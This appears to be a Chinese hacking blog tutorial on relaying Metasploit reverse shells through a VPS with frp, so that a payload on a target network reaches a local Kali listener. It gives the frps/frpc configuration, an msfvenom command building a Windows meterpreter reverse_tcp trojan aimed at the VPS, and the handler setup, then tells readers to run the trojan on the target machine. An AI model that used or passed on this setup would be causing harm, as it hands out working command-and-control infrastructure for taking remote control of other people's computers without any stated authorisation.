记一次VPS上线本地内网的MSF

发布时间:2026/7/18 21:03:25
记一次VPS上线本地内网的MSF 起因是使用 ngrok 来穿透目标内网上线 MSF 的话免费的容易掉线不太稳定于是有了本篇文章来解决该问题。本篇文章适用于有基础的师傅食用。目录一、使用 frp 工具来解决端口映射和转发二、使用 msfvenom 生成木马三、MSF 配置监听模块一、使用 frp 工具来解决端口映射和转发frp 工具的下载地址https://github.com/fatedier/frp/releases/tag/v0.70.0在 VPS 上修改 frps.toml 的配置文件# frps.toml (新版推荐 toml 格式) bindPort 7000 # frpc 连接 frps 的端口端口可以修改 auth.token YourStr0ng!T0ken # 设置一个 token 防止被别人利用修改完成之后启动frps服务端./frps -c frps.toml在本地 Kali 上编辑 frpc.toml 配置文件# frpc.toml serverAddr 你的 VPS 公网 IP serverPort 7000 auth.token YourStr0ng!T0ken # 和 VPS 上设置的 token 一样 [[proxies]] name msf-handler # 名字可随机 type tcp remotePort 8888 # VPS 上用于接收并转发流量的端口 localIP 127.0.0.1 localPort 1122 # Kali 本地 MSF 监听端口用于接收 VPS 转发的流量启动 frp 连接服务端./frpc -c frpc.toml各位师傅需要检查一下 VPS 的安全组有没有放行端口不然会连接不上而报错。二、使用 msfvenom 生成木马msfvenom -p windows/x64/meterpreter/reverse_tcp lhostVPS公网IP lport映射端口 -f exe 1.exe三、MSF 配置监听模块handler -H 127.0.0.1 -P 1122 -p windows/x64/meterpreter/reverse_tcp监听本地 127 或者 0.0.0.0 都可以端口设置为 frpc.toml 配置文件中的本地端口。将马子放到目标机器上运行即可上线 MSF。一些可能存在问题的地方1、目标环境不出网的情况下是上线不了的2、公网 VPS 安全组没有放行端口导致无法连接或无法转发流量3、生成木马填写的公网 IP 地址或端口号不对4、MSF 监听的端口号填写错误也会导致无法上线各位师傅要是有其它问题可以私信我。